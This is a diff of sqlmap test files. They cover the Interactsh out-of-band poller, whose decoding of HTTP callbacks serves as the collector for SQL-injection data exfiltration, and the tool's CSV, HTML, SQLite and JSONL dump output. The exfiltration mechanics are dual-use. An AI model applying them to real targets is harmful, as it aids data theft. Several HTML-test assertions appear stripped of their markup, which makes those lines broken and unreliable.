[threading.Thread(target=client._ensurePoller) for _ in range(16)] + for t in threads: + t.start() + for t in threads: + t.join() + finally: + InteractshPoller.start = orig_start + # the single poller was created exactly once and is still running (only one thread + # ever polled the session) + self.assertEqual(len(started), 1) # start() invoked exactly once + self.assertEqual(len(set(id(p) for p in started)), 1) # exactly one InteractshPoller + self.assertIn(client._poller, started) + self.assertTrue(client._poller._running) + # stop the daemon poller before this test returns so its /poll loop (stubbed to []) + # does not keep looping once per second for the rest of the test process + client._poller.stop() + + def test_close_stops_poller_and_deregisters(self): + """close() must remain the canonical complete teardown: after it returns this object owns + no active polling thread. + + Interactsh.close() predates the background poller and only deregistered, so a running + poller could keep polling (and race the remote session during deregistration). close() + now routes through stop().""" + from lib.request.interactsh import Interactsh, hasCrypto + if not hasCrypto(): + self.skipTest("requires pycryptodome") + client = Interactsh.__new__(Interactsh) + client.registered = True + client.correlationId = "corr0000000000000nnc" + client.server = "oast.fun" + client.secret = "test-secret" + client._dnsNonce = None + client._pollerLock = threading.Lock() # __init__ is bypassed, so set it explicitly + client._stopping = False # __init__ sets it; set it here too + for meth in ("_ensurePoller", "_consume", "_safeSelector"): + setattr(client, meth, types.MethodType(getattr(Interactsh, meth), client)) + # stub remote endpoint and deregister path so the poll loop and client.stop() stay offline + client.poll = lambda: [] + client._request = lambda *a, **k: "[]" + + client._ensurePoller() # start the single background poller + self.assertTrue(client._poller.isRunning()) + + client.close() # close() must stop the poller and deregister + # isRunning() would be False even while the thread still runs when poll() wedged past the + # join budget; assert the underlying thread is actually gone so the invariant is real. + self.assertFalse(client._poller._thread.is_alive()) # no active polling thread remains + self.assertFalse(client._poller.isRunning()) + self.assertFalse(client.registered) + # cleanup: idempotent - already stopped/deregistered + self.addCleanup(client.stop) + + def test_consume_does_not_poll_while_stopping(self): + """_consume() must not do its own destructive /poll during shutdown. + + _consume() used to fall back to self.poll() whenever the poller was not running. Even + though _ensurePoller() refuses to start a new poller once _stopping is set, pop() can still + reach that fallback: _stopping is set, the poller is stopped, but _consume() could then + directly call self.poll() (a destructive /poll) just before stop()'s close(). A direct + poll during shutdown is exactly the unsynchronised drain that breaks the shared-session + invariant, so a stopped poller must yield [] - never a direct poll().""" + from lib.request.interactsh import Interactsh, hasCrypto + if not hasCrypto(): + self.skipTest("requires pycryptodome") + client = Interactsh.__new__(Interactsh) # bypass network __init__ + client.registered = True + client.correlationId = "corr0000000000000nnc" + client.server = "oast.fun" + client.secret = "test-secret" + client._poller = None + client._pollerLock = threading.Lock() # __init__ is bypassed, so set it explicitly + client._stopping = True # simulate an active stop() + client._dnsNonce = None + + calls = {"poll": 0} + + def spy_poll(): + calls["poll"] += 1 + return [] + + client.poll = spy_poll + + for meth in ("_ensurePoller", "_consume", "_safeSelector"): + setattr(client, meth, types.MethodType(getattr(Interactsh, meth), client)) + + # even with no poller at all, a stopped session must not call poll() from _consume + # (drain_matching on a non-running poller yields []) + self.assertEqual(client._consume(lambda r: r.get("protocol") == "dns"), []) + self.assertEqual(client._consume(lambda r: r.get("protocol") == "dns"), []) + self.assertEqual(calls["poll"], 0) # sync=False: ensurePoller refused while stopping + + # sync=True must NOT initiate a remote poll once shutdown has begun: the direct-poll path + # is gated behind _stopping==False, so a stopped session drains the (empty) queue instead + # - no caller initiates another /poll after stop(), not even this compatibility path. + self.assertEqual(client._consume(lambda r: r.get("protocol") == "dns", sync=True), []) + self.assertEqual(calls["poll"], 0) + + # sanity: sync=True still drives poll() on a live (not-stopping) session - this guards + # against over-closing the safety check to sync itself. _stopping stays False, poller + # never starts (sync drains directly), so nothing needs cleaning up. + client._stopping = False + self.assertEqual(client._consume(lambda r: r.get("protocol") == "dns", sync=True), []) + self.assertEqual(calls["poll"], 1) + + def test_consume_does_not_second_poll_while_poller_running(self): + """sync=True must not add a second /poll caller while the background poller is already running. + + The shared-poller invariant is that only ONE code path ever calls the remote /poll endpoint. + A spurious sync=True during normal operation used to be the footgun: it called self.poll() + even when a live poller was already draining the session, yielding a second destructive + /poll. With a running poller sync=True must drain the poller's in-memory queue instead - + no additional poll() call - and the decision must be serialized under _pollerLock so a + concurrent _ensurePoller() cannot start a new poller in the gap between the check and the + (absent) poll().""" + from lib.request.interactsh import Interactsh, hasCrypto + if not hasCrypto(): + self.skipTest("requires pycryptodome") + client = Interactsh.__new__(Interactsh) # bypass network __init__ + client.registered = True + client.correlationId = "corr0000000000000nnc" + client.server = "oast.fun" + client.secret = "test-secret" + client._pollerLock = threading.Lock() # __init__ is bypassed, so set it explicitly + client._stopping = False + client._dnsNonce = None + client._poller = None + # stub remote + deregister paths so any direct poll() stays offline + client.poll = lambda: [] + client._request = lambda *a, **k: "[]" + for meth in ("_ensurePoller", "_consume", "_safeSelector"): + setattr(client, meth, types.MethodType(getattr(Interactsh, meth), client)) + # start the single background poller, then replace poll with a counting spy AFTER staging. + # Count only calls made from THIS (foreground) thread: the legitimate background poller + # thread is permitted to poll(), so thread identity - not a bare call count - isolates the + # footgun (sync=True issuing a second /poll) from routine background polling. + main_thread = threading.current_thread() + foreground_calls = [] + client._ensurePoller() + self.assertTrue(client._poller.isRunning()) + + def spy_poll(): + if threading.current_thread() is main_thread: + foreground_calls.append(1) + return [] + client.poll = spy_poll + + # sync=True on a live, poller-running session drains the queue; the running poller is the + # only code that issues /poll, so the foreground must never call poll() directly. + self.assertEqual(client._consume(lambda r: r.get("protocol") == "dns", sync=True), []) + self.assertEqual(client._consume(lambda r: r.get("protocol") == "dns", sync=True), []) + self.assertEqual(foreground_calls, []) # sync=True issued no direct /poll + client.stop() # join the single (still-running) poll thread + + + +class TestInteractshHTTPRequests(unittest.TestCase): + """HTTP-based out-of-band retrieval is the collector half of an HTTP-OOB SQLi exfil channel. + + interactsh returns full 'http' protocol records with a verbatim 'raw-request', a + 'protocol' ("http" or "https") and a 'remote-address' - the request line, not a parsed + path/query. Because an HTTP callback can be blocked (e.g. firewalled query string) and a + value may contain characters unsafe in a query-string name, the payload is embedded in a + query-string *parameter name* and httpRequests() decodes and returns the distinct names. + + The request target is split on the *raw* '?'/'&'/first '=' and only each name is percent- + decoded individually, so encoded delimiter bytes survive (``%26``->'&', ``%3D``->'=', + ``%25``->'%'); decoding the whole target first would corrupt them.""" + + def _client(self, records): + """Fake client carrying the records in poll(), wired to the real poller-aware consume path. + + Records are returned once (destructive, like a draining interactsh endpoint) and the + poller is started so httpRequests() exercises the normal registered-poller path; teardown + cannot reach the network.""" + from lib.request.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) # bypass network __init__ + client.registered = True + client.correlationId = "corr0000000000000nnc" + client.server = "oast.fun" + client.secret = "test-secret" + client._pollerLock = threading.Lock() # __init__ is bypassed, so set it explicitly + client._stopping = False # __init__ sets it; set it here too + + rec_batch = list(records) + + def poll(): + # return the whole batch once, then nothing - mirrors an interactsh endpoint + # draining its pending storage in a single /poll response + if rec_batch: + batch = rec_batch[:] + del rec_batch[:] + return batch + return [] + client.poll = poll + + for meth in ("_ensurePoller", "_consume", "_safeSelector"): + setattr(client, meth, types.MethodType(getattr(Interactsh, meth), client)) + + client.close = lambda: _stop_client_poller(client) + client._request = lambda *a, **k: None + + poller = _start_test_poller(client) + t = time.time() + 2.0 + while not poller._queue and time.time() < t: + time.sleep(0.01) + # client.stop() (registered as cleanup) stops the single background poller then + # deregisters, so the poll thread never outlives this test and never reaches the network + self.addCleanup(client.stop) + return client + + def test_extracts_query_param_names_from_raw_request(self): + records = [{"protocol": "http", "full-id": "a.b.c", "raw-request": "GET /?deadbeef=cafebabe HTTP/1.1", "remote-address": "1.2.3.4"}] + client = self._client(records) + out = client.httpRequests() + self.assertEqual(len(out), 1) + # only the query-string *name* is the attacker-controlled exfil slot; the value rides on it + self.assertEqual(out[0]["query-param-names"], ["deadbeef"]) + self.assertEqual(out[0]["client"], "1.2.3.4") + self.assertEqual(out[0]["request"], "GET /?deadbeef=cafebabe HTTP/1.1") + + def test_decodes_each_name_individually(self): + """Encoded delimiter bytes must survive split: each name is decoded on its own.""" + records = [ + {"protocol": "https", "full-id": "a", "raw-request": "GET /?aa%26bb=1 HTTP/1.1"}, # %26 -> '&' + {"protocol": "https", "full-id": "b", "raw-request": "GET /?cc%3Ddd=1 HTTP/1.1"}, # %3D -> '=' + {"protocol": "https", "full-id": "c", "raw-request": "GET /?ee%25ff=1 HTTP/1.1"}, # %25 -> '%' + ] + client = self._client(records) + out = client.httpRequests() + self.assertEqual([r["query-param-names"] for r in out], [["aa&bb"], ["cc=dd"], ["ee%ff"]]) + + def test_skips_non_http_records(self): + records = [{"protocol": "dns", "full-id": "x.y"}] + client = self._client(records) + self.assertEqual(client.httpRequests(), []) + + def test_distinct_names_are_not_duplicated(self): + records = [{"protocol": "http", "full-id": "a", "raw-request": "GET /?deadbeef=1 HTTP/1.1"}, + {"protocol": "http", "full-id": "b", "raw-request": "GET /?cafebabe=2 HTTP/1.1"}] + client = self._client(records) + out = client.httpRequests() + names = [name for r in out for name in r["query-param-names"]] + self.assertEqual(set(names), {"deadbeef", "cafebabe"}) + + def test_empty_poll_returns_empty(self): + client = self._client([]) + self.assertEqual(client.httpRequests(), []) + + def test_selector_exception_is_absorbed(self): + """A selector that raises must be caught (not propagated out of httpRequests/_consume)""" + records = [{"protocol": "http", "full-id": "a", "raw-request": "GET /?x=1 HTTP/1.1"}] + client = self._client(records) + + def boom(record): + raise ValueError("boom") + + self.assertEqual(client._consume(boom, deadline=None), []) + + def test_multiple_http_same_host_are_not_dropped(self): + """The reviewer's core case: several HTTP requests hitting the same interactsh host - i.e. + sharing 'full-id' - must all survive the poller's dedup. Dedup is by the interaction + itself (protocol+full-id+id/timestamp+raw-request), never by the shared host.""" + records = [ + {"protocol": "dns", "full-id": "abc..."}, + {"protocol": "http", "full-id": "abc...", "raw-request": "GET /?deadbeef=1 HTTP/1.1"}, + {"protocol": "http", "full-id": "abc...", "raw-request": "GET /?cafebabe=1 HTTP/1.1"}, + ] + client = self._client(records) + out = client.httpRequests() + names = [name for r in out for name in r["query-param-names"]] + self.assertEqual(set(names), {"deadbeef", "cafebabe"}) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_dump_format.py b/tests/test_dump_format.py new file mode 100644 index 00000000000..34d50558b0d --- /dev/null +++ b/tests/test_dump_format.py @@ -0,0 +1,469 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Output formatting of the result dumper (lib/core/dump.py) and the SQLite +replication backend (lib/core/replication.py). + +dump.Dump turns extracted DB structures (schemas, table/column listings, row +counts, single facts, user lists) into the human-readable ASCII tables printed +to the console, and serializes per-table row data to CSV / HTML / SQLite files. +None of that needs a live target, network or DBMS: the console renderers route +every line through Dump._write (overridden here to capture instead of print), +and the file renderers just write to a path we point at a temp dir. These tests +pin the rendered layout/escaping contracts so a formatting regression is caught +without an end-to-end scan. +""" + +import io +import os +import shutil +import sys +import tempfile +import unittest + +from collections import OrderedDict as _PlainOrderedDict + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, reset_dbms +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.dump import Dump +from lib.core.enums import DUMP_FORMAT +from lib.core.replication import Replication + + +# --- console-rendering tests (no files): capture every Dump._write line -------------------------- + +class _CaptureCase(unittest.TestCase): + """Base for the console renderers: pins a neutral case-preserving DBMS, disables api/report + side channels, and replaces Dump._write with an in-memory capture so nothing hits stdout.""" + + _CONF_KEYS = ("api", "reportCollector", "dumpFormat", "col", "csvDel", "dumpPath", "dumpFile", + "limitStart", "limitStop", "forceDbms", "dbms") + _KB_KEYS = ("forcedDbms", "dbms") + + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in self._CONF_KEYS) + self._savedKb = dict((k, kb.get(k)) for k in self._KB_KEYS) + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + conf.api = False + conf.reportCollector = None + conf.col = None + conf.csvDel = "," + self.lines = [] + self.d = Dump() + self.d._write = self._capture + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + + def _capture(self, data, newline=True, console=True, content_type=None): + # mirror Dump._write's own line-vs-space join so multi-call lines reassemble faithfully + self.lines.append("%s%s" % (data, "\n" if newline else " ")) + + def text(self): + return "".join(self.lines) + + +class TestStringAndLister(_CaptureCase): + def test_string_scalar_quoted(self): + # a plain string fact is rendered as "header: 'value'" + self.d.string("current user", "root@localhost") + self.assertIn("current user: 'root@localhost'", self.text()) + + def test_string_multiline_block(self): + # a value containing a newline switches to the fenced ---\n...\n--- block form + self.d.string("banner", "line1\nline2") + out = self.text() + self.assertIn("banner:\n---\nline1\nline2\n---", out) + + def test_string_singleton_list_unwrapped(self): + # a one-element list is unwrapped to the scalar form (not the lister "[N]:" form) + self.d.string("current database", ["testdb"]) + out = self.text() + self.assertIn("current database: 'testdb'", out) + self.assertNotIn("[1]", out) + + def test_lister_sorts_and_counts(self): + # lister prints a "[count]:" header, one "[*] item" per element, sorted case-insensitively + self.d.lister("available databases", ["mysql", "Alpha", "zebra"]) + out = self.text() + self.assertIn("available databases [3]:", out) + body = out[out.index("[3]:"):] + # case-insensitive ascending: Alpha, mysql, zebra + self.assertLess(body.index("[*] Alpha"), body.index("[*] mysql")) + self.assertLess(body.index("[*] mysql"), body.index("[*] zebra")) + + def test_lister_dedupes(self): + # the sort path also de-duplicates (set()) before listing + self.d.lister("database management system users", ["root", "root", "guest"]) + out = self.text() + self.assertIn("database management system users [2]:", out) + self.assertEqual(out.count("[*] root"), 1) + + def test_lister_unsorted_preserves_order(self): + # sort=False (e.g. rFile) keeps insertion order + self.d.lister("files saved to", ["/z", "/a", "/m"], sort=False) + out = self.text() + self.assertLess(out.index("[*] /z"), out.index("[*] /a")) + self.assertLess(out.index("[*] /a"), out.index("[*] /m")) + + +class TestCurrentDb(_CaptureCase): + def test_label_default_dbms(self): + # MySQL is not in the schema/owner special-cased lists -> plain "current database" + self.d.currentDb("testdb") + self.assertIn("current database: 'testdb'", self.text()) + + def test_label_schema_dbms(self): + # Oracle is in the schema-equivalent list -> the label is annotated accordingly + Backend.forceDbms("Oracle") + self.d.currentDb("SYSTEM") + out = self.text() + self.assertIn("equivalent to schema on Oracle", out) + self.assertIn("SYSTEM", out) + + +class TestDbTables(_CaptureCase): + def test_table_listing_box(self): + self.d.dbTables({"testdb": ["users", "logs"]}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("[2 tables]", out) + self.assertIn("| users", out) + self.assertIn("| logs", out) + # box borders present + self.assertIn("+", out) + + def test_single_table_singular(self): + self.d.dbTables({"testdb": ["only"]}) + self.assertIn("[1 table]", self.text()) + + def test_no_tables(self): + self.d.dbTables({}) + self.assertIn("No tables found", self.text()) + + def test_box_width_matches_longest_table(self): + # the border length tracks the longest table name (+2 padding) + self.d.dbTables({"testdb": ["a", "elephant"]}) + out = self.text() + # "elephant" is 8 chars -> a border line of 8+2 = 10 dashes exists + self.assertIn("+%s+" % ("-" * 10), out) + + +class TestDbTableColumns(_CaptureCase): + def test_typed_columns_two_column_box(self): + self.d.dbTableColumns({"testdb": {"users": {"id": "int", "name": "varchar(50)"}}}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("Table: users", out) + self.assertIn("[2 columns]", out) + self.assertIn("| Column", out) + self.assertIn("| Type", out) + self.assertIn("int", out) + self.assertIn("varchar(50)", out) + + def test_typeless_columns_single_box(self): + # when no column carries a type, only the Column box is rendered (no Type header) + self.d.dbTableColumns({"testdb": {"users": {"id": None, "name": None}}}) + out = self.text() + self.assertIn("| Column", out) + self.assertNotIn("| Type", out) + + def test_mixed_types_still_show_type_header(self): + # even if the alphabetically-last column is type-less, a Type column must appear + self.d.dbTableColumns({"testdb": {"t": {"aaa": "int", "zzz": None}}}) + self.assertIn("| Type", self.text()) + + +class TestDbTablesCount(_CaptureCase): + def test_count_box_sorted_desc(self): + self.d.dbTablesCount({"testdb": {5: ["small"], 100: ["big"]}}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("| Table", out) + self.assertIn("| Entries", out) + # higher count first (reverse sort) + self.assertLess(out.index("big"), out.index("small")) + self.assertIn("100", out) + + +class TestUserSettings(_CaptureCase): + def test_privileges_listed_with_admin_flag(self): + # userSettings accepts (settingsDict, adminsSet); admins get an "(administrator)" tag + settings = ({"root": ["ALL"], "guest": ["SELECT"]}, set(["root"])) + self.d.userSettings("database management system users privileges", settings, "privilege") + out = self.text() + self.assertIn("[*] root (administrator)", out) + self.assertIn("[*] guest", out) + self.assertNotIn("guest (administrator)", out) + self.assertIn("privilege: ALL", out) + self.assertIn("privilege: SELECT", out) + + +# --- file-rendering tests (CSV / HTML / SQLite): point output at a temp dir ---------------------- + +class _FileDumpCase(unittest.TestCase): + _CONF_KEYS = ("dumpFormat", "dumpPath", "dumpFile", "col", "api", "reportCollector", + "limitStart", "limitStop", "csvDel", "forceDbms", "dbms") + _KB_KEYS = ("forcedDbms", "dbms") + + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in self._CONF_KEYS) + self._savedKb = dict((k, kb.get(k)) for k in self._KB_KEYS) + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + self.tmp = tempfile.mkdtemp(prefix="sqlmap-dumpfmt-test") + conf.dumpPath = self.tmp + conf.dumpFile = None + conf.col = None + conf.api = False + conf.reportCollector = None + conf.limitStart = conf.limitStop = None + conf.csvDel = "," + self.d = Dump() + self.d._write = lambda *a, **k: None # silence the console table + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + shutil.rmtree(self.tmp, ignore_errors=True) + + def _path(self, table_values, ext): + db = table_values["__infos__"]["db"] or "All" + return os.path.join(self.tmp, db, "%s.%s" % (table_values["__infos__"]["table"], ext)) + + def _dump(self, table_values, fmt, ext): + conf.dumpFormat = fmt + self.d.dbTableValues(table_values) + with io.open(self._path(table_values, ext), encoding="utf-8") as f: + return f.read() + + +class TestCsvDump(_FileDumpCase): + def _sample(self): + return _PlainOrderedDict([ + ("__infos__", {"count": 2, "db": "testdb", "table": "users"}), + ("id", {"length": 2, "values": ["1", "2"]}), + ("name", {"length": 6, "values": ["luther", "fluffy"]}), + ]) + + def test_header_and_rows(self): + content = self._dump(self._sample(), DUMP_FORMAT.CSV, "csv") + lines = [l for l in content.splitlines() if l.strip()] + self.assertEqual(lines[0].split(","), ["id", "name"]) + self.assertEqual(lines[1].split(","), ["1", "luther"]) + self.assertEqual(lines[2].split(","), ["2", "fluffy"]) + + def test_delimiter_in_value_is_quoted(self): + # RFC-4180: a value containing the delimiter must be wrapped in quotes + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("a", {"length": 8, "values": ["x,y"]}), + ("b", {"length": 1, "values": ["z"]}), + ]) + content = self._dump(tv, DUMP_FORMAT.CSV, "csv") + self.assertIn('"x,y"', content) + + def test_null_and_blank_markers(self): + # the display replacements apply to CSV too: DB NULL (" ") -> NULL, empty ("") -> + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("a", {"length": 4, "values": [" "]}), + ("b", {"length": 7, "values": [""]}), + ("c", {"length": 1, "values": ["x"]}), + ]) + content = self._dump(tv, DUMP_FORMAT.CSV, "csv") + row = [l for l in content.splitlines() if l.strip()][1] + self.assertEqual(row.split(","), ["NULL", "", "x"]) + + def test_custom_delimiter(self): + conf.csvDel = ";" + content = self._dump(self._sample(), DUMP_FORMAT.CSV, "csv") + self.assertEqual(content.splitlines()[0].split(";"), ["id", "name"]) + + +class TestHtmlDump(_FileDumpCase): + def _sample(self): + return _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "users"}), + ("id", {"length": 2, "values": ["1"]}), + ("name", {"length": 6, "values": ["luther"]}), + ]) + + def test_html_scaffold_and_cells(self): + content = self._dump(self._sample(), DUMP_FORMAT.HTML, "html") + self.assertIn("", content) + self.assertIn("testdb.users", content) + self.assertIn("id", content) + self.assertIn(">name", content) + self.assertIn("
    ", content) + self.assertIn("", content) + self.assertIn("
    1luther
    ", content) + self.assertIn("", content) + + def test_html_escapes_markup(self): + # a value with HTML metacharacters must be escaped, not emitted raw + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("payload", {"length": 16, "values": [""]}), + ]) + content = self._dump(tv, DUMP_FORMAT.HTML, "html") + self.assertNotIn("", content) + self.assertIn("<", content) + + +class TestSqliteDump(_FileDumpCase): + def test_rows_and_inferred_types(self): + tv = _PlainOrderedDict([ + ("__infos__", {"count": 2, "db": "testdb", "table": "people"}), + ("id", {"length": 2, "values": ["1", "2"]}), # all ints -> INTEGER + ("ratio", {"length": 4, "values": ["1.5", "2.0"]}), # floats -> REAL + ("name", {"length": 6, "values": ["alice", " "]}), # text with a NULL marker + ]) + conf.dumpFormat = DUMP_FORMAT.SQLITE + self.d.dbTableValues(tv) + + import sqlite3 + dbfile = os.path.join(self.tmp, "testdb.sqlite3") + self.assertTrue(os.path.exists(dbfile)) + conn = sqlite3.connect(dbfile) + try: + cur = conn.cursor() + cur.execute("SELECT id, ratio, name FROM people ORDER BY id") + rows = cur.fetchall() + self.assertEqual(rows[0], (1, 1.5, "alice")) + # the DB NULL marker (" ") was stored as a real NULL, not the "NULL" text + self.assertEqual(rows[1], (2, 2.0, None)) + # column affinities inferred from the values + cur.execute("PRAGMA table_info(people)") + types = {name: ctype for (_cid, name, ctype, _nn, _dv, _pk) in cur.fetchall()} + self.assertEqual(types["id"], "INTEGER") + self.assertEqual(types["ratio"], "REAL") + self.assertEqual(types["name"], "TEXT") + finally: + conn.close() + + def test_non_roundtrip_numbers_stay_text(self): + # Values that look numeric but would be silently rewritten by SQLite's INTEGER/REAL + # affinity (leading zeros, sign prefix, 64-bit overflow, trailing-zero/exponent floats) + # must be stored verbatim as TEXT, otherwise the export corrupts the dumped data + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("zip", {"length": 5, "values": ["007"]}), + ("phone", {"length": 10, "values": ["0917123456"]}), + ("signed", {"length": 2, "values": ["+1"]}), + ("huge", {"length": 30, "values": ["123456789012345678901234567890"]}), + ("money", {"length": 4, "values": ["2.00"]}), + ("real_int", {"length": 1, "values": ["5"]}), # genuine ints still typed INTEGER + ]) + conf.dumpFormat = DUMP_FORMAT.SQLITE + self.d.dbTableValues(tv) + + import sqlite3 + conn = sqlite3.connect(os.path.join(self.tmp, "testdb.sqlite3")) + try: + cur = conn.cursor() + cur.execute("SELECT zip, phone, signed, huge, money, real_int FROM t") + self.assertEqual(cur.fetchone(), ("007", "0917123456", "+1", "123456789012345678901234567890", "2.00", 5)) + cur.execute("PRAGMA table_info(t)") + types = {name: ctype for (_cid, name, ctype, _nn, _dv, _pk) in cur.fetchall()} + self.assertEqual(types["zip"], "TEXT") + self.assertEqual(types["huge"], "TEXT") + self.assertEqual(types["money"], "TEXT") + self.assertEqual(types["real_int"], "INTEGER") + finally: + conn.close() + + def test_type_breaking_value_past_sampling_prefix_stays_text(self): + # Regression: type inference once sampled only the first 100 values, so a leading-zero / + # signed / overflow value at index >= 100 was missed and the column got typed INTEGER, + # silently corrupting that value via SQLite affinity on insert. The whole column must be scanned. + values = [str(i) for i in range(1, 101)] + ["007"] # 100 clean ints, then a leading-zero at index 100 + tv = _PlainOrderedDict([ + ("__infos__", {"count": len(values), "db": "testdb", "table": "big"}), + ("code", {"length": 3, "values": values}), + ]) + conf.dumpFormat = DUMP_FORMAT.SQLITE + self.d.dbTableValues(tv) + + import sqlite3 + conn = sqlite3.connect(os.path.join(self.tmp, "testdb.sqlite3")) + try: + cur = conn.cursor() + cur.execute("PRAGMA table_info(big)") + types = {name: ctype for (_cid, name, ctype, _nn, _dv, _pk) in cur.fetchall()} + self.assertEqual(types["code"], "TEXT") # a single non-round-trip value anywhere forces TEXT + cur.execute("SELECT code FROM big WHERE code = '007'") + self.assertEqual(cur.fetchone(), ("007",)) # stored verbatim, not rewritten to integer 7 + finally: + conn.close() + + +# --- replication backend tests (pure sqlite3, no network/DBMS) ----------------------------------- + +class TestReplication(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="sqlmap-repl-test") + self.path = os.path.join(self.tmp, "out.sqlite3") + self.repl = Replication(self.path) + + def tearDown(self): + try: + self.repl.connection.close() + except Exception: + pass + shutil.rmtree(self.tmp, ignore_errors=True) + + def test_create_insert_select_roundtrip(self): + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", Replication.TEXT)]) + t.beginTransaction() + t.insert(["1", "alice"]) + t.insert(["2", "bob"]) + t.endTransaction() + rows = sorted(t.select()) + self.assertEqual(rows, [(1, "alice"), (2, "bob")]) + + def test_select_with_condition(self): + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", Replication.TEXT)]) + t.insert(["1", "alice"]) + t.insert(["2", "bob"]) + self.assertEqual(t.select("name = 'bob'"), [(2, "bob")]) + + def test_insert_wrong_arity_raises(self): + from lib.core.exception import SqlmapValueException + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", Replication.TEXT)]) + with self.assertRaises(SqlmapValueException): + t.insert(["only-one-value"]) + + def test_typeless_table(self): + t = self.repl.createTable("t", ["a", "b"], typeless=True) + t.insert(["x", "y"]) + self.assertEqual(t.select(), [("x", "y")]) + + def test_datatype_str(self): + self.assertEqual(str(Replication.TEXT), "TEXT") + self.assertEqual(str(Replication.INTEGER), "INTEGER") + self.assertIn("DataType", repr(Replication.REAL)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dump_jsonl.py b/tests/test_dump_jsonl.py new file mode 100644 index 00000000000..515b68bf3ef --- /dev/null +++ b/tests/test_dump_jsonl.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +JSONL output of the per-table dumper (Dump.dbTableValues in lib/core/dump.py). + +--dump-format=JSONL writes one self-describing JSON object per row to a +/dump//.jsonl file, streaming-safe (one independent line per +row, no surrounding array/header/footer). These tests pin the contract that an +automated consumer relies on: column order preserved (so it matches the CSV +column order and is reproducible on Python 2's unordered dict), the DB-NULL +marker (" ") mapped to JSON null exactly like --report-json, the empty string +left intact (NOT collapsed to null), and a strict one-object-per-line layout. +""" + +import io +import json +import os +import shutil +import sys +import tempfile +import unittest + +from collections import OrderedDict + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, reset_dbms +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.dump import Dump +from lib.core.enums import DUMP_FORMAT + + +class _JsonlDumpCase(unittest.TestCase): + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in ("dumpFormat", "dumpPath", "dumpFile", "col", "api", "reportCollector", "limitStart", "limitStop", "csvDel", "forceDbms", "dbms")) + self._savedKb = dict((k, kb.get(k)) for k in ("forcedDbms", "dbms")) + # A DBMS leaked from an earlier test (e.g. one that uppercases identifiers) would change + # both the on-disk filename and the JSON keys, so pin a neutral, case-preserving back-end. + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + self.tmp = tempfile.mkdtemp(prefix="sqlmap-jsonl-test") + conf.dumpFormat = DUMP_FORMAT.JSONL + conf.dumpPath = self.tmp + conf.dumpFile = None + conf.col = None + conf.api = False + conf.reportCollector = None + conf.limitStart = conf.limitStop = None + conf.csvDel = "," + self.d = Dump() + self.d._write = lambda *a, **k: None # silence the console table + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + shutil.rmtree(self.tmp, ignore_errors=True) + + def _dump(self, table_values): + self.d.dbTableValues(table_values) + db = table_values["__infos__"]["db"] or "All" + path = os.path.join(self.tmp, db, "%s.jsonl" % table_values["__infos__"]["table"]) + # sqlmap writes the dump file as UTF-8; read it the same way (not the platform default, + # which is cp1252 on Windows CI and would mojibake multibyte values) + with io.open(path, encoding="utf-8") as f: + content = f.read() + return content + + def _rows(self, content): + return [json.loads(line) for line in content.splitlines() if line.strip()] + + +class TestJsonlContract(_JsonlDumpCase): + def test_one_object_per_row(self): + content = self._dump({ + "__infos__": {"count": 2, "db": "testdb", "table": "users"}, + "id": {"length": 2, "values": ["1", "2"]}, + "name": {"length": 6, "values": ["luther", "fluffy"]}, + }) + # exactly N non-empty lines, each terminated by a newline, each a standalone object + lines = content.splitlines() + self.assertEqual(len(lines), 2) + self.assertTrue(content.endswith("\n")) + rows = self._rows(content) + self.assertEqual(rows[0], {"id": "1", "name": "luther"}) + self.assertEqual(rows[1], {"id": "2", "name": "fluffy"}) + + def test_no_header_or_footer(self): + # unlike CSV (header row) / HTML (doc scaffold), JSONL must be pure data lines + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "id": {"length": 2, "values": ["1"]}, + }) + lines = [l for l in content.splitlines() if l.strip()] + self.assertEqual(len(lines), 1) + self.assertEqual(json.loads(lines[0]), {"id": "1"}) + + def test_db_null_becomes_json_null(self): + # sqlmap stores a DB NULL as a single space (" "); the machine format must emit JSON null, + # consistent with --report-json. An empty string is a real value and must stay "". + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "a": {"length": 1, "values": [" "]}, # DB NULL marker + "b": {"length": 1, "values": [""]}, # genuine empty 